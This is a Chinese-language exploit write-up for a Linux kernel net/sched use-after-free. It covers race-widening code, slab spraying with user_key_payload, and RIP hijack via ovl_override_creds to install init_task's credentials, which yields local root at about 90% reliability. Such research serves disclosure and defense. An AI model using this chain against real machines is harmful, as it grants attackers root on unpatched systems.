Exploiting CVE-2026-53264 with One Function

Linux kernel net/sched: act_api 中存在一个 UAF 漏洞,action 释放路径违反了 RCU 的生命周期约定,直接调用 kfree() 释放对象。

这会造成一个竞争窗口:CPU A 在 RCU 读侧临界区内获取 object A 的指针后,CPU B 在 CPU A 还没有退出临界区时,释放 object A。随后 CPU A 继续通过指针访问已经释放的 object A。

把发生 UAF 的对象称为 Victim Object,抢占 Victim Object 内存的对象称为 Reclaim Object。

根因

static void free_tcf(struct tc_action *p)
{
	struct tcf_chain *chain = rcu_dereference_protected(p->goto_chain, 1);

	free_percpu(p->cpu_bstats);
	free_percpu(p->cpu_bstats_hw);
	free_percpu(p->cpu_qstats);

	tcf_set_action_cookie(&p->user_cookie, NULL);
	if (chain)
		tcf_chain_put_by_act(chain);

	/* kfree immediately */
	kfree(p);
}

free_tcf() 直接调用 kfree(p);。

int tcf_idr_check_alloc(struct tc_action_net *tn, u32 *index,
			struct tc_action **a, int bind)
{
	struct tcf_idrinfo *idrinfo = tn->idrinfo;
	struct tc_action *p;
	int ret;
	u32 max;

	if (*index) {
		/* RCU period start */
		rcu_read_lock();
		p = idr_find(&idrinfo->action_idr, *index);

		/* [1] race window start */

		if (IS_ERR(p)) {
			/* This means that another process allocated
			 * index but did not assign the pointer yet.
			 */
			rcu_read_unlock();
			return -EAGAIN;
		}

		if (!p) {
			/* Empty slot, try to allocate it */
			max = *index;
			rcu_read_unlock();
			goto new;
		}

		/* [2] race window end */

		if (!refcount_inc_not_zero(&p->tcfa_refcnt)) {
			/* Action was deleted in parallel */
			rcu_read_unlock();
			return -EAGAIN;
		}

		if (bind)
			atomic_inc(&p->tcfa_bindcnt);
		*a = p;

		/* RCU period end */
		rcu_read_unlock();

p = idr_find(&idrinfo->action_idr, *index); 查询 *index 获取 struct tc_action *p;。

if (!refcount_inc_not_zero(&p->tcfa_refcnt)) 检查 p->tcfa_refcnt 不等于 0,否则直接返回错误。

正常情况下,p 释放后 p->tcfa_refcnt 一定等于 0。所以竞争窗口在 p = idr_find(&idrinfo->action_idr, *index); 后,if (!refcount_inc_not_zero(&p->tcfa_refcnt)) 前。

要绕过这个检查,需要在检查前获得 Reclaim Object,把 p->tcfa_refcnt 覆写为大于 0 的值。

竞争 sequence diagram:

sequenceDiagram
    participant C0 as CPU 0: use
    participant C1 as CPU 1: free
    participant C2 as CPU 2: reclaim

    Note over C0: p = idr_find(&idrinfo->action_idr, *index);

    Note over C1: kfree(p);

    Note over C2: reclaim and p->tcfa_refcnt > 0

    Note over C0: if (!refcount_inc_not_zero(&p->tcfa_refcnt))

利用条件

static int rtnetlink_rcv_msg(struct sk_buff *skb, struct nlmsghdr *nlh,
			     struct netlink_ext_ack *extack)
{
	/* ... */

	if (kind != RTNL_KIND_GET && !netlink_net_capable(skb, CAP_NET_ADMIN))
		return -EPERM;

	/* ... */
}

用户空间通过 rtnetlink 配置 Qdisc,这需要 net namespace owner 拥有 CAP_NET_ADMIN 能力。

普通用户可以创建一个 user namespace,在里面获得 CAP_NET_ADMIN 能力,然后再创建一个 net namespace,就可以配置 Qdisc。这要求 Linux kernel 启用了 CONFIG_USER_NS 和 CONFIG_NET_NS。

漏洞触发路径

static int tc_ctl_action(struct sk_buff *skb, struct nlmsghdr *n,
			 struct netlink_ext_ack *extack)
{
	/* ... */

	if ((n->nlmsg_type != RTM_GETACTION) &&
	    !netlink_capable(skb, CAP_NET_ADMIN))
		return -EPERM;

	/* ... */
}
bool netlink_capable(const struct sk_buff *skb, int cap)
{
	return netlink_ns_capable(skb, &init_user_ns, cap);
}

通过 RTM_NEWACTION 和 RTM_DELACTION 配置 action 会检查用户在 init_user_ns 里是否拥有 CAP_NET_ADMIN 能力。

这是一个历史原因,开发 user namespace 时,Qdisc 的配置权限逐步开放给 user namespace,但是 action 配置接口被遗漏了。

可以使用 RTM_NEWTFILTER 和 RTM_DELTFILTER 间接配置 action。

rtnl_lock()

rtnl_lock() 获取 rtnetlink 全局互斥锁,如果 RTM_NEWTFILTER 和 RTM_DELTFILTER 获取了这个锁,这两个操作将会被串行化,无法竞争。

static int tc_new_tfilter(struct sk_buff *skb, struct nlmsghdr *n,
			  struct netlink_ext_ack *extack)
{
	/* ... */

    bool rtnl_held = false;

	/* ... */

	/* Take rtnl mutex if rtnl_held was set to true on previous iteration,
	 * block is shared (no qdisc found), qdisc is not unlocked, classifier
	 * type is not specified, classifier is not unlocked.
	 */
	if (rtnl_held ||
	    (q && !(q->ops->cl_ops->flags & QDISC_CLASS_OPS_DOIT_UNLOCKED)) ||
	    !tcf_proto_is_unlocked(name)) {
		rtnl_held = true;
		rtnl_lock();
	}

	/* ... */
}
static bool tcf_proto_is_unlocked(const char *kind)
{
	const struct tcf_proto_ops *ops;
	bool ret;

	if (strlen(kind) == 0)
		return false;

	ops = tcf_proto_lookup_ops(kind, false, NULL);
	/* On error return false to take rtnl lock. Proto lookup/create
	 * functions will perform lookup again and properly handle errors.
	 */
	if (IS_ERR(ops))
		return false;

	ret = !!(ops->flags & TCF_PROTO_OPS_DOIT_UNLOCKED);
	module_put(ops->owner);
	return ret;
}

RTM_NEWTFILTER 操作绕过 rtnl_lock() 需要满足下面的条件:

  1. rtnl_held == false。
  2. struct Qdisc *q != NULL 并且 q->ops->cl_ops->flags 设置了 QDISC_CLASS_OPS_DOIT_UNLOCKED,或者 struct Qdisc *q == NULL。
  3. 对应 filter 类型设置了 TCF_PROTO_OPS_DOIT_UNLOCKED。
static int tc_del_tfilter(struct sk_buff *skb, struct nlmsghdr *n,
			  struct netlink_ext_ack *extack)
{
	/* ... */

	/* Take rtnl mutex if flushing whole chain, block is shared (no qdisc
	 * found), qdisc is not unlocked, classifier type is not specified,
	 * classifier is not unlocked.
	 */
	if (!prio ||
	    (q && !(q->ops->cl_ops->flags & QDISC_CLASS_OPS_DOIT_UNLOCKED)) ||
	    !tcf_proto_is_unlocked(name)) {
		rtnl_held = true;
		rtnl_lock();
	}

	/* ... */
}

RTM_DELTFILTER 操作绕过 rtnl_lock() 需要满足下面的条件:

  1. filter prio != 0。
  2. struct Qdisc *q != NULL 并且 q->ops->cl_ops->flags 设置了 QDISC_CLASS_OPS_DOIT_UNLOCKED,或者 struct Qdisc *q == NULL。
  3. 对应 filter 类型设置了 TCF_PROTO_OPS_DOIT_UNLOCKED。

为了绕过 rtnl_lock(),需要选择 cl_ops->flags 设置了 QDISC_CLASS_OPS_DOIT_UNLOCKED 的 Qdisc 类型和设置了 TCF_PROTO_OPS_DOIT_UNLOCKED 的 filter 类型。

static const struct Qdisc_class_ops clsact_class_ops = {
	.flags		=	QDISC_CLASS_OPS_DOIT_UNLOCKED,
	.leaf		=	ingress_leaf,
	.find		=	clsact_find,
	.walk		=	ingress_walk,
	.tcf_block	=	clsact_tcf_block,
	.bind_tcf	=	clsact_bind_filter,
	.unbind_tcf	=	ingress_unbind_filter,
};

clsact Qdisc 的 cl_ops->flags 设置了 QDISC_CLASS_OPS_DOIT_UNLOCKED。

这要求 Linux kernel 启用了 CONFIG_NET_SCH_INGRESS。

static struct tcf_proto_ops cls_fl_ops __read_mostly = {
	.kind		= "flower",
	.classify	= fl_classify,
	.init		= fl_init,
	.destroy	= fl_destroy,
	.get		= fl_get,
	.put		= fl_put,
	.change		= fl_change,
	.delete		= fl_delete,
	.delete_empty	= fl_delete_empty,
	.walk		= fl_walk,
	.reoffload	= fl_reoffload,
	.hw_add		= fl_hw_add,
	.hw_del		= fl_hw_del,
	.dump		= fl_dump,
	.terse_dump	= fl_terse_dump,
	.bind_class	= fl_bind_class,
	.tmplt_create	= fl_tmplt_create,
	.tmplt_destroy	= fl_tmplt_destroy,
	.tmplt_reoffload = fl_tmplt_reoffload,
	.tmplt_dump	= fl_tmplt_dump,
	.get_exts	= fl_get_exts,
	.owner		= THIS_MODULE,
	.flags		= TCF_PROTO_OPS_DOIT_UNLOCKED,
};
MODULE_ALIAS_NET_CLS("flower");

flower filter 设置了 TCF_PROTO_OPS_DOIT_UNLOCKED。

这要求 Linux kernel 启用了 CONFIG_NET_CLS_FLOWER。

竞争优化

竞争窗口存在的时间非常短,很难命中,需要一些优化来增加命中率。

timerfd + epoll

这是一种通用的竞争窗口时间扩展技术。

使用 timerfd 启动一个定时,定时到期时会在 CPU 上触发一个硬中断。把 timerfd 注册到大量 epoll fd,硬中断触发时需要通知全部 epoll fd。

这会显著增加硬中断花费的时间,同时 CPU 上的其他任务暂停,等待硬中断结束。

如果 timerfd 在竞争窗口内到期,硬中断进入,CPU 上的任务暂停,竞争窗口持续存在,直到硬中断结束,refcount_inc_not_zero() 检查结束。此时硬中断的时间窗口也是竞争的时间窗口。

此时的竞争 sequence diagram:

sequenceDiagram
    participant C0 as CPU 0: use
    participant C1 as CPU 1: free
    participant C2 as CPU 2: reclaim

    Note over C0: p = idr_find(&idrinfo->action_idr, *index);

    Note over C0: hard irq

    Note over C0: hard irq time window

    Note over C1: kfree(p);

    Note over C2: reclaim and p->tcfa_refcnt > 0

    Note over C0: hard irq time window

    Note over C0: hard irq finish

    Note over C0: if (!refcount_inc_not_zero(&p->tcfa_refcnt))

示例代码:

int timerfd_epoll(void)
{
	struct itimerspec its = { .it_value = { .tv_nsec = 10000 } };
	struct epoll_event ev = { .events = EPOLLIN };
	int dup_tfds[100] = { 0 };
	int epfds[500] = { 0 };
	int tfd;

	tfd = timerfd_create(CLOCK_MONOTONIC, TFD_NONBLOCK);

	for (int i = 0; i < 100; i++)
		dup_tfds[i] = dup(tfd);

	for (int i = 0; i < 500; i++) {
		epfds[i] = epoll_create1(0);

		/*
		 * all timerfd are registered to epoll fd
		 * 100 timerfd will expire at same time, wakeup epoll fd 100 times
		 * 100 timerfd with 500 epoll fd will wakeup epoll fd 100 * 500 times
		 */
		for (int n = 0; n < 100; n++)
			epoll_ctl(epfds[i], EPOLL_CTL_ADD, dup_tfds[n], &ev);
	}

	/* start timerfd alarm */
	timerfd_settime(tfd, 0, &its, NULL);

	return EXIT_SUCCESS;
}

由于不能保证 timerfd 刚好在竞争窗口内到期,需要在打开竞争窗口前添加一些随机量。

这相当于字符串匹配:

字符串是 ABCDEFG。需要匹配 EFG。于是把 EFG 放到字符串最左边开始匹配,匹配到 ABC。向右移动一个单位,匹配到 BCD。最终对齐,匹配到 EFG。

字符串是固定的,相当于 timerfd 到期时间是固定的。EFG 向右移动一个单位相当于竞争窗口向右移动一个单位,只要 timerfd 到期时落在竞争窗口中,就可以扩大竞争窗口存在的时间。

可以使用空循环来实现最细颗粒度的 sleep。

int spin = (i * 30) % 2000;
for (volatile int n = 0; n < spin; n++)
	;

这相当于每次移动 30 单位,移动范围 0-1999。

binder thread

binder 发送一个 RTM_NEWTFILTER rtnetlink 数据包,创建一个 filter 和两个 action。但是故意把第二个 action 构建成不完整的。

int tcf_action_init(struct net *net, struct tcf_proto *tp, struct nlattr *nla,
		    struct nlattr *est, struct tc_action *actions[],
		    int init_res[], size_t *attr_size,
		    u32 flags, u32 fl_flags,
		    struct netlink_ext_ack *extack)
{
	/* ... */

	for (i = 1; i <= TCA_ACT_MAX_PRIO && tb[i]; i++) {
		act = tcf_action_init_1(net, tp, tb[i], est, ops[i - 1],
					&init_res[i - 1], flags, extack);
		if (IS_ERR(act)) {
			err = PTR_ERR(act);
			goto err;
		}
		sz += tcf_action_fill_size(act);
		/* Start from index 0 */
		actions[i - 1] = act;

	/* ... */

	/* We have to commit them all together, because if any error happened in
	 * between, we could not handle the failure gracefully.
	 */
	tcf_idr_insert_many(actions, init_res);

	/* ... */

err:
	tcf_action_destroy(actions, flags & TCA_ACT_FLAGS_BIND);

	/* ... */
}

多个 action 循环创建,全部创建成功后一起提交。第一个 action 会创建成功,但是第二个 action 会创建失败。于是跳转错误路径 err,释放所有已经成功创建的 action,整个 RTM_NEWTFILTER 操作失败。

这样做的好处是既打开了竞争窗口,又不需要发送 RTM_DELTFILTER 数据包做清理,节省时间,减少干扰。可以让竞争窗口出现得更频繁,增加命中率。

filter chain

static int tc_new_tfilter(struct sk_buff *skb, struct nlmsghdr *n,
			  struct netlink_ext_ack *extack)
{
	/* ... */

		mutex_unlock(&chain->filter_chain_lock);
		tp_new = tcf_proto_create(name, protocol, prio, chain,
					  rtnl_held, extack);
		if (IS_ERR(tp_new)) {
			err = PTR_ERR(tp_new);
			goto errout_tp;
		}

	/* ... */
}

filter chain 有一个 chain 内的全局锁 chain->filter_chain_lock,使用多个 chain,可以避免操作被串行化,大幅提升竞争效率。

竞争多个 action

竞争速度非常快,竞争同一个 action 会造成大量过剩,成功率已经触达上限。把多个 action 作为竞争目标,增加竞争成功的机会。

刷新 L1D 缓存

L1D 是 per-CPU 的一级数据缓存,通过刷新这个缓存,可以增加 CPU 访问数据的延迟,增加竞争窗口存在的时间。

示例代码:

/* greater than L1D size */
#define L1D_FLUSH_SIZE (64 * 1024)

static char buf[L1D_FLUSH_SIZE] __attribute__((aligned(64)));
volatile char a;

for (int i = 0; i < L1D_FLUSH_SIZE; i += 64)
	a = buf[i];

最终竞争方案

3 个 binder 线程在不同的 CPU,不同的 filter chain,同时竞争 10 个 action。

一个 creater 线程在另一个不同的 CPU,不同的 filter chain,通过 RTM_NEWTFILTER 和 RTM_DELTFILTER 循环创建和删除用于竞争的 10 个 action。

必须有一个线程正确创建 action,因为 binder 线程的创建最终会失败。

Exploit

优化竞争后,可以稳定地触发 UAF,获得 Victim Object。

KASLR

使用 EntryBleed 来泄漏 KASLR。从 kasld 移植。

RIP

action 选择 gact,这是最常见的 action 类型,这要求 Linux kernel 启用了 CONFIG_NET_ACT_GACT。

int tcf_idr_create(struct tc_action_net *tn, u32 index, struct nlattr *est,
		   struct tc_action **a, const struct tc_action_ops *ops,
		   int bind, bool cpustats, u32 flags)
{
	struct tc_action *p = kzalloc(ops->size, GFP_KERNEL);

	...
}
EXPORT_SYMBOL(tcf_idr_create);

创建 action 是创建对应 action 类型的 struct tc_action 子类。

static struct tc_action_ops act_gact_ops = {
	.kind		=	"gact",
	.id		=	TCA_ID_GACT,
	.owner		=	THIS_MODULE,
	.act		=	tcf_gact_act,
	.stats_update	=	tcf_gact_stats_update,
	.dump		=	tcf_gact_dump,
	.init		=	tcf_gact_init,
	.get_fill_size	=	tcf_gact_get_fill_size,
	.offload_act_setup =	tcf_gact_offload_act_setup,
	.size		=	sizeof(struct tcf_gact),
};
MODULE_ALIAS_NET_ACT("gact");

gact 的子类是 struct tcf_gact。

# pahole -C tcf_gact vmlinux
struct tcf_gact {
        struct tc_action           common __attribute__((__aligned__(16))); /*     0   192 */

        /* XXX last struct has 4 bytes of padding, 4 holes */

        /* --- cacheline 3 boundary (192 bytes) --- */
        u16                        tcfg_ptype;           /*   192     2 */
        u16                        tcfg_pval;            /*   194     2 */
        int                        tcfg_paction;         /*   196     4 */
        atomic_t                   packets __attribute__((__aligned__(4))); /*   200     4 */

        /* size: 208, cachelines: 4, members: 5 */
        /* padding: 4 */
        /* member types with holes: 1, total: 4 */
        /* paddings: 1, sum paddings: 4 */
        /* forced alignments: 2 */
        /* last cacheline: 16 bytes */
} __attribute__((__aligned__(16)));

struct tcf_gact 的大小是 208 字节,落在 kmalloc-256 slab cache。

通过喷射 struct user_key_payload,抢占 Victim Object 的 slab slot,获得 Reclaim Object。

action 在引用为 0 时才真正释放,不一定在哪个 CPU。

所以需要在所有可能的 CPU 上分别创建一个喷射线程。

创建 struct user_key_payload:

key = syscall(SYS_add_key, "user", "x", payload, sizeof(payload), KEY_SPEC_PROCESS_KEYRING);

更新 struct user_key_payload,用于喷射:

syscall(SYS_keyctl, KEYCTL_UPDATE, key, payload, sizeof(payload));
# pahole -C user_key_payload vmlinux
struct user_key_payload {
        struct callback_head       rcu __attribute__((__aligned__(8))); /*     0    16 */
        short unsigned int         datalen;              /*    16     2 */

        /* XXX 6 bytes hole, try to pack */

        char                       data[] __attribute__((__aligned__(8))); /*    24     0 */

        /* size: 24, cachelines: 1, members: 3 */
        /* sum members: 18, holes: 1, sum holes: 6 */
        /* forced alignments: 2, forced holes: 1, sum forced holes: 6 */
        /* last cacheline: 24 bytes */
} __attribute__((__aligned__(8)));

struct user_key_payload header 是 24 字节,data 是柔性数组,在创建时确定大小。

int user_preparse(struct key_preparsed_payload *prep)
{
	...

	upayload = kmalloc(sizeof(*upayload) + datalen, GFP_KERNEL);
	if (!upayload)
		return -ENOMEM;

	...
}
EXPORT_SYMBOL_GPL(user_preparse);

struct user_key_payload 的大小是 header 的大小 + data 的大小。要想让 struct user_key_payload 也落到 kmalloc-256 slab cache,data 的大小 + 24 需要大于 192,小于等于 256。

long keyctl_update_key(key_serial_t id,
		       const void __user *_payload,
		       size_t plen)
{
	...

	/* pull the payload in if one was supplied */
	payload = NULL;
	if (plen) {
		ret = -ENOMEM;
		payload = kvmalloc(plen, GFP_KERNEL);
		if (!payload)
			goto error;

		ret = -EFAULT;
		if (copy_from_user(payload, _payload, plen) != 0)
			goto error2;
	}

	...
}

更新 key 时会先给 payload 分配内存,也就是 data。如果 data 的大小大于 192,则也会进入 kmalloc-256 slab cache。

这会对漏洞利用造成干扰,因为 data 也可能会抢占 Victim Object 的 slab slot。

只要 data 的大小大于 168,小于等于 192,data 就会落到 kmalloc-192 slab cache,168 + 24 + 1 = 192 + 1,struct user_key_payload 依然落到 kmalloc-256 slab cache。

获得 Reclaim Object 后,if (!refcount_inc_not_zero(&p->tcfa_refcnt)) 会检查 p->tcfa_refcnt 是否为 0,需要绕过这个检查。

# pahole -C tc_action vmlinux
struct tc_action {
	...

	refcount_t tcfa_refcnt __attribute__((__aligned__(4))); /*    28     4 */

	...
} __attribute__((__aligned__(16)));

tcfa_refcnt 的偏移是 28,与 Reclaim Object 的 data[4] 重叠,占 4 个字节,所以应该设置 *(uint32_t *)(data + 4) 为大于 0 的值。

static size_t tcf_action_fill_size(const struct tc_action *act)
{
	size_t sz = tcf_action_shared_attrs_size(act);

	if (act->ops->get_fill_size)
		return act->ops->get_fill_size(act) + sz;
	return sz;
}

tcf_action_init() 循环创建 action 时,会对每个成功创建的 action 调用 tcf_action_fill_size(),最终会调用 act->ops->get_fill_size()。

可以通过控制这个函数指针,控制 RIP。

# pahole -C tc_action vmlinux
struct tc_action {
	const struct tc_action_ops  * ops;               /*     0     8 */

	...
} __attribute__((__aligned__(16)));

ops 指针,偏移 0。

# pahole -C user_key_payload vmlinux
struct user_key_payload {
	struct callback_head rcu __attribute__((__aligned__(8))); /*     0    16 */

	...
} __attribute__((__aligned__(8)));

struct user_key_payload 偏移 0 是 struct callback_head rcu。

# pahole -C callback_head vmlinux
struct callback_head {
        struct callback_head *     next;                 /*     0     8 */
        void                       (*func)(struct callback_head *); /*     8     8 */

        /* size: 16, cachelines: 1, members: 2 */
        /* last cacheline: 16 bytes */
} __attribute__((__aligned__(8)));

struct callback_head 前 8 字节是 struct callback_head *next,ops 指针和 struct callback_head *next 重叠,所以 struct callback_head *next 是否指向可控内存是漏洞利用的关键。

int user_update(struct key *key, struct key_preparsed_payload *prep)
{
	struct user_key_payload *zap = NULL;

	...

	zap = dereference_key_locked(key);

	if (zap)
		call_rcu(&zap->rcu, user_free_payload_rcu);

	...
}
EXPORT_SYMBOL_GPL(user_update);

更新 struct user_key_payload 时会调用 call_rcu() 延迟释放过时的 struct user_key_payload。

void rcu_segcblist_enqueue(struct rcu_segcblist *rsclp,
			   struct rcu_head *rhp)
{
	...

	WRITE_ONCE(*rsclp->tails[RCU_NEXT_TAIL], rhp);
	WRITE_ONCE(rsclp->tails[RCU_NEXT_TAIL], &rhp->next);

	...
}

call_rcu() 最终会调用 rcu_segcblist_enqueue(),rhp 是 call_rcu() 传入的 &zap->rcu。

#define rcu_head callback_head

struct rcu_head 就是 struct callback_head。

struct rcu_head **tails[RCU_CBLIST_NSEGS] 是一个三级指针。

rsclp->tails[RCU_NEXT_TAIL] 类型是 struct rcu_head **,*rsclp->tails[RCU_NEXT_TAIL] 是 struct rcu_head *。

WRITE_ONCE(*rsclp->tails[RCU_NEXT_TAIL], rhp);

*rsclp->tails[RCU_NEXT_TAIL] = rhp

WRITE_ONCE(rsclp->tails[RCU_NEXT_TAIL], &rhp->next);

rsclp->tails[RCU_NEXT_TAIL] = &rhp->next

rsclp->tails[RCU_NEXT_TAIL] 是链表中最后一个元素 next 指针的指针。

*rsclp->tails[RCU_NEXT_TAIL] 是链表中最后一个元素的 next 指针。

在喷射 struct user_key_payload 时,大量 struct user_key_payload 被添加到链表中,并且大概率是连续相邻的。

这意味着大概率 struct callback_head *next 指向另一个喷射的 struct user_key_payload,也就是 ops 指向可控的内存。

flowchart LR
	subgraph A["struct tc_action"]
		direction TB
		A1@{ shape: text, label: "+0x00 ops" }
	end

	subgraph B["struct user_key_payload"]
		direction TB
		subgraph B1["struct callback_head"]
			direction TB
			B2@{ shape: text, label: "+0x00 next" }
		end
	end

	subgraph C["struct user_key_payload"]
		direction TB
		subgraph C1["struct callback_head"]
			direction TB
			C2@{ shape: text, label: "+0x00 next" }
		end
	end

	A1 -->|same slab slot| B2
	B2 -->|another slab slot| C2

	style A1 fill:#00b86e
	style B2 fill:#00b86e

这要求访问 act->ops 前,Reclaim Object 和另一个喷射的 struct user_key_payload 已经先后添加到链表。

虽然这个要求大概率满足,但还是会降低漏洞利用的稳定性。

# pahole -C tc_action_ops vmlinux
struct tc_action_ops {
	...

	size_t (*get_fill_size)(const struct tc_action  *); /*   112     8 */

	...
};

*get_fill_size() 偏移 112,112 - 24 = 88。与 Reclaim Object 的 data[88] 重叠。

root

控制了 RIP,接下来实现 LPE。Linux kernel 版本是 v7.1-rc5,这个版本上没有找到可用的 stack pivot gadget。

[0xffffffff818c8250]> pD 94 @ sym.tcf_action_fill_size
╭ size_t sym.tcf_action_fill_size(const struct tc_action *act);
│       ╭─< 0xffffffff821085e5      je      0xffffffff821085f2
│       │   0xffffffff821085e7      movq    %r12, %rdi                 ; act_api.c:473 return act->ops->get_fill_size(act) + sz;
│       │   0xffffffff821085ea      callq   loc.__pi___x86_indirect_thunk_rax
        │   0xffffffff821085ef      addq    %rax, %rbx
│       ╰─> 0xffffffff821085f2      movq    %rbx, %rax                 ; act_api.c:475 }

0xffffffff821085ea 调用 act->ops->get_fill_size()。

在 0xffffffff821085ea 下断点,观察此时的寄存器。

────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────────────────────────────────────────────────────
 RDI  0xffff888003fc8600 —▸ 0xffff888003fc9d00 —▸ 0xffff888003fc9c00 —▸ 0xffff888003fc8c00 —▸ 0xffff888003fc8b00 ◂— ...
 R12  0xffff888003fc8600 —▸ 0xffff888003fc9d00 —▸ 0xffff888003fc9c00 —▸ 0xffff888003fc8c00 —▸ 0xffff888003fc8b00 ◂— ...
 R15  0xffff888003fc8600 —▸ 0xffff888003fc9d00 —▸ 0xffff888003fc9c00 —▸ 0xffff888003fc8c00 —▸ 0xffff888003fc8b00 ◂— ...

%rdi、%r12、%r15 都是 Reclaim Object。

最开始把 RIP 劫持到 commit_creds(),Reclaim Object 作为参数 struct cred *new。

# pahole -C cred vmlinux
struct cred {
	atomic_long_t usage;                /*     0     8 */

	...
} __attribute__((__aligned__(8)));

但是 usage 与 struct callback_head *next; 重叠,是 ops 指针,指向一个堆地址,而堆地址总是以 0xffff 开头。

typedef struct {
	long counter;
} atomic_long_t;
int commit_creds(struct cred *new)
{
	...

	BUG_ON(atomic_long_read(&new->usage) < 1);

	...
}

usage 是一个有符号类型,0xffff 开头的值会被解释为负数,所以 commit_creds() 里的运行时断言会失败,直接 panic。

const struct cred *ovl_override_creds(struct super_block *sb)
{
	struct ovl_fs *ofs = OVL_FS(sb);

	return override_creds(ofs->creator_cred);
}
struct task_struct init_task __aligned(L1_CACHE_BYTES) = {
	...

	RCU_POINTER_INITIALIZER(cred, &init_cred),

	...
};
EXPORT_SYMBOL(init_task);

最终选择把 RIP 劫持到 ovl_override_creds() 配合 init_task.cred 来完成权限提升。这个函数调用 override_creds() 替换当前 CPU task 的 cred 为 ofs->creator_cred。

static inline struct ovl_fs *OVL_FS(struct super_block *sb)
{
	if (IS_ENABLED(CONFIG_OVERLAY_FS_DEBUG))
		WARN_ON_ONCE(sb->s_type != &ovl_fs_type);

	return (struct ovl_fs *)sb->s_fs_info;
}

ofs 是 sb->s_fs_info。

# pahole -C super_block vmlinux
struct super_block {
	...

	void *                     s_fs_info;            /*   848     8 */

	...
} __attribute__((__aligned__(64)));

s_fs_info 偏移 848 == 0x350。

[0xffffffff818c8250]> pD 56
╭ const struct cred *sym.ovl_override_creds(struct super_block *sb);
│           0xffffffff818c8250      endbr64                            ; util.c:66 {
│           0xffffffff818c8254      callq   sym.__fentry
│           0xffffffff818c8259      movq    0x350(%rdi), %rax          ; util.c:67 struct ovl_fs *ofs = OVL_FS(sb);
│           0xffffffff818c8260      pushq   %rbp                       ; util.c:66 {
│           0xffffffff818c8261      movq    0x78(%rax), %rcx           ; util.c:69 return override_creds(ofs->creator_cred);
│           0xffffffff818c8265      movq    obj.current_task, %rax     ; current.h:20 static __always_inline struct task_struct *get_current(void)
│           0xffffffff818c826d      movq    %rsp, %rbp                 ; util.c:66 {
│           0xffffffff818c8270      movq    0x7c8(%rax), %rdx          ; cred.h:183 return rcu_replace_pointer(current->cred, override_cred, 1);
│           0xffffffff818c8277      movq    %rcx, 0x7c8(%rax)          ; current.h:20 static __always_inline struct task_struct *get_current(void)
│           0xffffffff818c827e      movq    %rdx, %rax                 ; util.c:70 }
│           0xffffffff818c8281      popq    %rbp
╰       ╭─< 0xffffffff818c8282      jmp     loc.__pi___x86_return_thunk ; loc.__pi___x86_return_thunk
        │   0xffffffff818c8287      invalid

movq 0x350(%rdi), %rax:%rax = *(uintptr_t *)(%rdi + 0x350) == ofs

# pahole -C ovl_fs vmlinux
struct ovl_fs {
	const struct cred *creator_cred;         /*   120     8 */
} __attribute__((__aligned__(8)));

movq 0x78(%rax), %rcx:%rcx = *(uintptr_t *)(%rax + 0x78) == ofs->creator_cred

movq obj.current_task, %rax:把当前 CPU 的 struct task_struct * 赋值给 %rax。

# pahole -C task_struct vmlinux
struct task_struct {
	const struct cred *cred;                 /*  1992     8 */
} __attribute__((__aligned__(64)));

cred 偏移 1992 == 0x7c8。

movq %rcx, 0x7c8(%rax):*(uintptr_t *)(%rax + 0x7c8) == task_struct->cred = %rcx == ofs->creator_cred

%rdi 是 Reclaim Object,目标是让 *(*(%rdi + 0x350) + 0x78) = init_task.cred。

首先计算 *(%rdi + 0x350) 对应 data 的偏移。

0x350 % 256 = 80

80 - 24 = 56

所以 *(%rdi + 0x350) 与 data[56] 重叠,但不是 Reclaim Object 的。

0x350 / 256 = 3,*(%rdi + 0x350) 落在 Reclaim Object + 3 * 256 开始的内存,这不一定是 kmalloc-256 slab slot,也可能是 buddy allocator 空闲页或其他。

这要求 Reclaim Object + 3 * 256 也是喷射的 struct user_key_payload。

这会显著降低漏洞利用的稳定性。

kmalloc-256 slab block-beta:

block-beta
    columns 5

    space UAF["UAF"] space:3

    space P0["sprayed user_key_payload"] space:2 P3["sprayed user_key_payload"]

    slab["kmalloc-256 slab"] p0["[0]"] p1["[1]"] p2["[2]"] p3["[3]"]

求等式 *(data[56] + 0x78) = init_task.cred 中 data[56] 的值。

*(data[56] + 0x78) = init_task.cred = data[56] + 0x78 = &init_task.cred

data[56] + 0x78 = &init_task.cred = data[56] = &init_task.cred - 0x78

data[56] = &init_task.cred - 0x78 = data[56] = &init_task + 1992 - 0x78

[0xffffffff818c8250]> is~init_task
160018 0x01e0aa00 0xffffffff82c0aa00 GLOBAL OBJ    3264       init_task

使用 rizin 找到 init_task 的地址。

data[56] = 0xffffffff82c0aa00 + 1992 - 0x78

稳定性提升

这要求访问 act->ops 前,Reclaim Object 和另一个喷射的 struct user_key_payload 已经先后添加到链表。

这并没有大幅影响漏洞利用的稳定性,因为 action 释放路径没有调用 call_rcu(),只剩下喷射 struct user_key_payload 时高频率调用 call_rcu(),这几乎完全盖过系统中的噪音。

这要求 Reclaim Object + 3 * 256 也是喷射的 struct user_key_payload。

这是真正影响漏洞利用稳定性的地方,有两种情况。

  1. Reclaim Object + 3 * 256 是 kmalloc-256 slab slot。

action 的高频率分配和 struct user_key_payload 的高频率分配在同一个 slab cache 中竞争。

这种情况下必须让 struct user_key_payload 的分配频率高于 action 的分配频率,并且每次最好连续分配多个。

在喷射开始前调用 sched_yield(),让出 CPU,喷射时是一个完整的时间片,连续喷射多个 struct user_key_payload。

  1. Reclaim Object + 3 * 256 是 buddy allocator 的空闲页。

这种情况下必须提升 buddy allocator 空闲页分配为 kmalloc-256 slab 的频率,也就是让喷射更加频繁。

在空闲 CPU 上,全速喷射 struct user_key_payload,循环中尽量只有喷射代码。

================================================
Summary
================================================
Total runs:      10
Successes:       9
Failures:        1
Avg time:        2358.819 ms
Min time:        68.026 ms
Max time:        6880.593 ms
Success rate:    90.00%
================================================

经过优化,10 次连续运行,成功率约 80% - 90%,平均耗时在 3s 左右。

References

Lee, J. J. (2026). When AI Makes 0-Days Feel Like N-Days. STAR LABS SG PTE. LTD. https://starlabs.sg/blog/2026/07-when-ai-makes-0-days-feel-like-n-days/.

Konovalov, A. (2024). SLUB Internals for Exploit Developers. xairy.io. https://static.sched.com/hosted_files/lsseu2024/37/2024%2C%20LSS%20EU_%20SLUB%20Internals%20for%20Exploit%20Developers.pdf.

Zeng, K. (2022). Playing for K(H)eaps: Understanding and Improving Linux Kernel Exploit Reliability. USENIX Security Symposium. https://www.usenix.org/conference/usenixsecurity22/presentation/zeng.

